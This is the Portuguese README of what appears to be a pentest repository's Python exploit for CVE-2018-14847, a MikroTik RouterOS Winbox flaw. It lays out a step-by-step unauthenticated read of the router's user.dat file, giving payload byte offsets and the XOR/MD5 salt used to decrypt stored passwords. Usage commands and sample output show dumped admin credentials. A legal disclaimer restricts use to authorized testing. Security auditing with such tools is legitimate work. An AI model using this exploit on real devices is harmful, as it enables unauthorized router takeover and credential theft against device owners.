
VULNERÁVEL CVE-2018-14847 - CREDENCIAIS EXTRAÍDAS MIKROTIK EM PYTHON
Repositório de scripts para auditoria e testes de penetração em redes. Use apenas em dispositivos com autorização formal.
Exploita a vulnerabilidade de leitura de arquivo não autenticada no serviço
Winbox do MikroTik RouterOS. O handler de arquivos (handler ID 2) não valida
autenticação, permitindo que um atacante externo leia o arquivo user.dat
que contém todos os usuários e senhas do dispositivo.
As senhas são armazenadas cifradas com XOR usando a chave MD5(usuario + "283i4jfkai3389").
O script realiza a descriptografia automaticamente.
| Branch | Vulnerável até | Versão corrigida |
|---|---|---|
| Stable | 6.42 | 6.42.1 |
| Long-term | 6.40.7 | 6.40.8 |
| RC | 6.42 | 6.43 |
python3 cve_2018_14847.py <IP>
python3 cve_2018_14847.py <IP> --port 8291
# Alvo padrão na porta 8291
python3 cve_2018_14847.py 192.168.1.1
# Porta customizada
python3 cve_2018_14847.py 192.168.1.1 --port 8291
1. Conecta na porta 8291 (Winbox)
↓
2. Envia FIRST_PAYLOAD — abre sessão + solicita /flash/rw/store/user.dat
↓
3. Extrai Session ID do byte 38 da resposta
↓
4. Injeta Session ID no byte 19 do SECOND_PAYLOAD
↓
5. Envia SECOND_PAYLOAD — lê o arquivo user.dat
↓
6. Parseia entradas M2 → extrai usuário e senha cifrada
↓
7. Descriptografa senha: XOR com MD5(usuario + salt)
↓
8. Exibe credenciais e salva em arquivo
═══════════════════════════════════════════════════════
CVE-2018-14847 — MikroTik Winbox Credential Dump
Unauthenticated File Read + Password Decryption
Afetado: RouterOS 6.29 – 6.42 (< 6.40.8 / 6.42.1)
═══════════════════════════════════════════════════════
Alvo : 192.168.1.1:8291
Data : 2026-05-20 18:06:58
[*] Conectando em 192.168.1.1:8291 ...
[+] Conectado ao serviço Winbox.
[*] Enviando payload 1 (requisição de arquivo) ...
[+] Resposta recebida (84 bytes). Session ID: 0x35
[*] Enviando payload 2 (leitura do user.dat) ...
[+] Dados recebidos (312 bytes).
[*] Analisando user.dat (257 bytes úteis) ...
═══════════════════════════════════════════════════════
CREDENCIAIS EXTRAÍDAS
═══════════════════════════════════════════════════════
Usuário : admin
Senha : senha123
Combo : admin:senha123
───────────────────────────────────────────────────────
[+] 1 credencial(is) encontrada(s).
[+] Resultado salvo em: mikrotik_1192.168.1.1_20260520_180658.txt
O resultado é salvo automaticamente em:
mikrotik_<IP>_<TIMESTAMP>.txt
Exemplo: mikrotik_192.168.1.1_20260520_180658.txt
Contém: IP do alvo, data, CVE, versão afetada e todos os pares usuário:senha.
/rede/
├── README.md # este arquivo
├── cve_2018_14847.py # MikroTik Winbox Credential Extractor
├── pentest_cgnat_100.64.0.0.md # relatório de pentest CGNAT
├── pentest_roteador_192.168.2.1.md # relatório de pentest roteador
└── mikrotik_<IP>_<TIMESTAMP>.txt # resultados gerados pelo script
AVISO LEGAL: Estas ferramentas são para uso exclusivo em ambientes autorizados. A execução não autorizada contra sistemas de terceiros é crime previsto na Lei 12.737/2012 (Lei Carolina Dieckmann) e no Art. 154-A do Código Penal Brasileiro.